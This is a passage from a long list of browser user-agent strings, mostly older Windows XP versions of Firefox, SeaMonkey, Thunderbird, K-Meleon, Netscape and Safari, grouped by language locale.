SeaMonkey/1.0b Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060730 K-Meleon/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8a1) Gecko/20040520 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8a5) Gecko/20041122 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8b) Gecko/20050217 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-CH) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-CH; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-CH; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Safari/534 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.5) Gecko/20031007 Firebird/0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 (No IDN) Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.0.1) Gecko/20060115 K-Meleon/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.11; .NET CLR 2.0.50727) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 (+http://www.kangaroo-personal.de) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FireShot/0.32 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051025 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.10) Gecko/20070221 Thunderbird/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20060918 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Thunderbird/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 SeaMonkey Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008080808 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.8 (de) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/2.0.0.14;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.6 (de) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (de) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (de) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (de) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (de) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.7 (de) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.11) Gecko/20100711 Thunderbird/3.0.6 ThunderBrowse/3.3.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20100104 Firefox/3.5.8 (SeaMonkey/2.0.2) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20100104 SeaMonkey/2.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1b1pre) Gecko/20080925121544 SeaMonkey/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1b3pre) Gecko/20090210 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.11) Gecko/20101013 Lightning/1.0b2 Thunderbird/3.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) 20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729) FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; el-GR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mnenhy/0.7.4.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9) Gecko/2008052906 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0 Safari/522.11.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.7.5) Gecko/20050610 Netscape/8.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/523.15 (KHTML, like Gecko) QtWeb Internet Browser/1.2 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.96 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.14) Gecko/20071210 Thunderbird/1.5.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 